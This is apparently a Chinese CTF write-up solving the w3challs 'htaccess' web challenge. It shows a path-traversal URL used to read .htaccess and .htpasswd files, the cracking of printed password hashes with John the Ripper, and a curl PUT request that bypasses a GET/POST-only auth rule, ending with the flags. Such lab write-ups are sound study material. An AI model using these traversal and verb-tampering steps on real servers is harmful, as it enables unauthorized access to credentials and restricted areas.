w3challs web-htaccess

w3challs web-htaccess

题目有给出下载source的链接,下载后仔细审阅,会发现根目录下.htaccess

RewriteEngine on
RewriteBase /

RewriteRule ^page/(.+)$ /index.php?page=$1.php [NC,L]

.htaccess文件是针对当前目录做一些配置的文件,具体不描述。可以看到文件里定义了一个重定向,即url为/page/home会重定向到/index.php?page=home.php页面。此处是解题关键,借助这一点我们可以进行目录穿越。
这里我困在一个地方很久,题目给出的source我以为就是真正的源码,所以理所当然的去访问secret文件夹,然而一直访问不到,纠结了很久,后来才想起来看看目录下的README.md,才明白题目的意思——他给的根本就不是源码,那个secret只是一个代称,让你知道源目录的结构而已,要解题就是要先找出这个secret所对应的真正文件夹,然后再去访问里面的passwd文件。
理清思路就好进行下一步了。当正常访问admin域时是需要用户名密码认证的,但是借助前面的目录穿越,可以直接访问admin目录下的.htaccess,查看其目录配置:

http://htaccess.hax.w3challs.com/index.php?page=../admin/.htaccess

可访问其文件内容:

AuthUserFile /home/htaccess/www/UlTr4_S3cR3T_p4Th/.htpasswd 
AuthGroupFile /dev/null 
AuthName "Private area" 
AuthType Basic 
require valid-user

可以得到,secret的真面目其实是UlTr4_S3cR3T_p4Th文件夹。
访问该文件夹下的htpasswd文件:

admin1:$apr1$Ikl22aeJ$w1uWlBGlbatPnETT2XGx..
admin2:$apr1$yJnQGpTi$WF5eCC/8lKsgBKY7fvag60 
admin3:$apr1$fN20xzIa$UAnYxYS8qRiO8WKPJwOlK1 
admin4:zQMI5ehC.sED2 
admin5:{SHA}CKVCPg9EZI8U9KPPakEXgfXrMIc= 
superadmin:{SHA}pAsyOzA/MHasbNO0OKRuXSp5sRI=

花了特别多的时间在这上面…查阅资料发现破解这类密码常用工具是John the Ripper,这款工具kali自带,我一开始以为是每个密码都要破解出来,后来发现只要用其中一个admin登陆就可以了。
并且此处加密后的密码,原则上只有第一个admin1才能被破解,用John the Ripper破解出密码为orange(其余的应该是复杂密码,用工具难以暴力破解),登陆后给出第一部分flag:

You bypassed the first .htaccess and successfully entered the admin area.
Flag part 1 is W3C{__0hMyG0d

Now try to bypass the second one to enter the superadmin are.

Superadmin

访问superadmin依然需要密码登录,这里还是尝试了下用John the Ripper破解,迟迟没有结果…想了下应该不是简单节能暴力出来的…
在这里卡了很久,没什么思路,想不出还有什么破解密码的方法,并且在w3chall上这题的讨论里也没找到什么有用的信息…于是把这题放了一天,再重新审审题,发现题干还是有提示的:

The purpose of this challenge is simple: you have to exploit various vulnerabilities to bypass .htaccess protections.

In the context of this challenge, you have to bypass 2 .htaccess, respectively within admin and super-admin areas, using 2 different methods.

点出了两个重点,一个是绕过htaccess,一个是2种不同解法。那么访问admin时用的方法是暴力破解密码,那绕过superadmin访问限制的方式肯定不会是暴力破解密码那么简单。
仔细审阅题目给出的source,在查看superadmin目录下的htaccess文件时发现了华点:

AuthUserFile /var/www/secret/.htpasswd_super
AuthGroupFile /dev/null
AuthName "Private area - superadmin only"
AuthType Basic


	require valid-user

可以看到这里用标签限制了作用的http请求方式,当使用GETPOST方式请求时需要验证…反之不使用这两种方式请求就无需验证了,比如PUT

curl -X PUT http://htaccess.hax.w3challs.com/superadmin/index.php```

于是直接返回页面内容,其中就包含了第二部分的flag:

Congratulations! You bypassed the second .htaccess too.

Flag part 2 is Th3yKi7l3dk3nNy}.

Final flag is part1_part2

组合获得完整的flag:

W3C{__0hMyG0d_Th3yKi7l3dk3nNy} 

你可能感兴趣的:(web,ctf)